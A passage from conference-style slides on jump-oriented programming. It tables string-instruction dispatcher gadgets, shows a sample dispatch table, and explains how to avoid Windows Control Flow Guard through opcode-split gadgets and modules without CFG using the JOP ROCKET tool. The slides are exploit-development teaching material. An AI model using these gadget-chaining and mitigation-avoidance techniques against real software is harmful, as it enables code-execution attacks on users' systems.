- Plentiful, but scarcer as short dispatcher gadgets

<table>
<thead>
<tr>
<th>Other Dispatcher Gadgets</th>
<th>Dereferenced</th>
<th>Overwritten</th>
<th>Point to Memory</th>
<th>Distance</th>
<th>Opcode</th>
</tr>
</thead>
<tbody>
<tr>
<td>lodsd; jmp dword ptr [esi];</td>
<td>ESI</td>
<td>EAX</td>
<td>ESI, EAX</td>
<td>4 bytes</td>
<td>AD</td>
</tr>
<tr>
<td>cmpsd; jmp dword ptr [esi];</td>
<td>ESI</td>
<td>None</td>
<td>ESI, EDI</td>
<td>4 bytes</td>
<td>A7</td>
</tr>
<tr>
<td>cmpsd; jmp dword ptr [edi]</td>
<td>EDI</td>
<td>None</td>
<td>ESI, EDI</td>
<td>4 bytes</td>
<td>A7</td>
</tr>
<tr>
<td>movsd; jmp dword ptr [esi]</td>
<td>ESI</td>
<td>[EDI]</td>
<td>ESI, EDI</td>
<td>4 bytes</td>
<td>A5</td>
</tr>
<tr>
<td>movsd; jmp dword ptr [edi]</td>
<td>EDI</td>
<td>[EDI]</td>
<td>ESI, EDI</td>
<td>4 bytes</td>
<td>A5</td>
</tr>
<tr>
<td>scasd; jmp dword ptr [edi]</td>
<td>EDI</td>
<td>None</td>
<td>EDI</td>
<td>4 bytes</td>
<td>AF</td>
</tr>
</tbody>
</table>
Alternative String Dispatchers

- All these alternative dispatchers take on a similar form.
  - No padding needed.
    - It increments by 4.
    - The qword form increments by 8, e.g. \textit{lodsq}

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Dispatch Table</th>
</tr>
</thead>
<tbody>
<tr>
<td>F9ED2340</td>
<td>0ab01234</td>
<td>xor edx, ebx; jmp edi</td>
</tr>
<tr>
<td>F9ED2348</td>
<td>0ab0badd</td>
<td>push ebx; jmp edi</td>
</tr>
<tr>
<td>F9ED2350</td>
<td>0ab2baee</td>
<td>push ecx; jmp edi</td>
</tr>
<tr>
<td>F9ED2358</td>
<td>0ab0da44</td>
<td>push eax; jmp edi</td>
</tr>
</tbody>
</table>

ESI is incremented by 4 each time it is called.
We let `lodsd` increment ESI by 4 in the dispatcher index gadget.

Next, we dereference, allowing us to reach our next functional gadgets.
Part 6: Various Topics
Control Flow Guard

- CFG is Microsoft’s answer to control flow integrity.

- CFG is coarse-grained CFI done at the compiler level.
  - It is imperfect.

- When implemented effectively, it can provide some defense against JOP.
  - Again though...it is imperfect.

- There have been bypasses, but we only discuss ways to avoid CFG.
Control Flow Guard

- Control Flow Guard checks are only inserted in front of compiler-generated indirect calls/jumps.
- We can still use instances of CALL/JMP which are generated via opcode splitting.
  - These likely will be shorter gadgets.

<table>
<thead>
<tr>
<th>Opcodes</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>BF 89 CF FF E3</td>
<td>mov edi, 0xe3ffdf89</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Opcodes</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>89 CF FF E3</td>
<td>mov edi, ecx; jmp eax</td>
</tr>
</tbody>
</table>
JOP ROCKET checks a binary’s CFG status.
- If CFG is false, a DLL lacks enforcement of CFG.

JOP ROCKET allows you to exclude DLLs with CFG.
- But JOP gadgets formed by unintended instructions can avoid it.
  - If a JOP gadget looks like it will work—meaning no CFG, even though the module has CFG—it will.
  - We can look for DLLs without CFG.
- Inline Assembly is not checked by CFG, so gadgets from these can be used.
- CFG is only supported on Windows 8 and above.
  - Windows 7 lacks support for CFG.

Note: Mitigations are only displayed for scanned modules.
Use m command to extract modules.
Using JOP as ROP

• If we are totally committed to ROP, we can still extend the attack surface to JOP briefly.

• Here JOP functions much like ROP, with the stack and ret being used for control flow.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>base + 0x1b34</td>
<td>add ebx, edi # jmp edx</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>base + 0x1538</td>
<td>ret</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>base + 0x1db2</td>
<td>add ebx, edi # ret</td>
</tr>
</tbody>
</table>

This gadget only returns!

Load EDX with RET.
Research Goals

Our goal has been two-fold: Expand and make JOP viable. Bring the knowledge and the tools to exploit developers.

We hope we have helped you.
Thank You!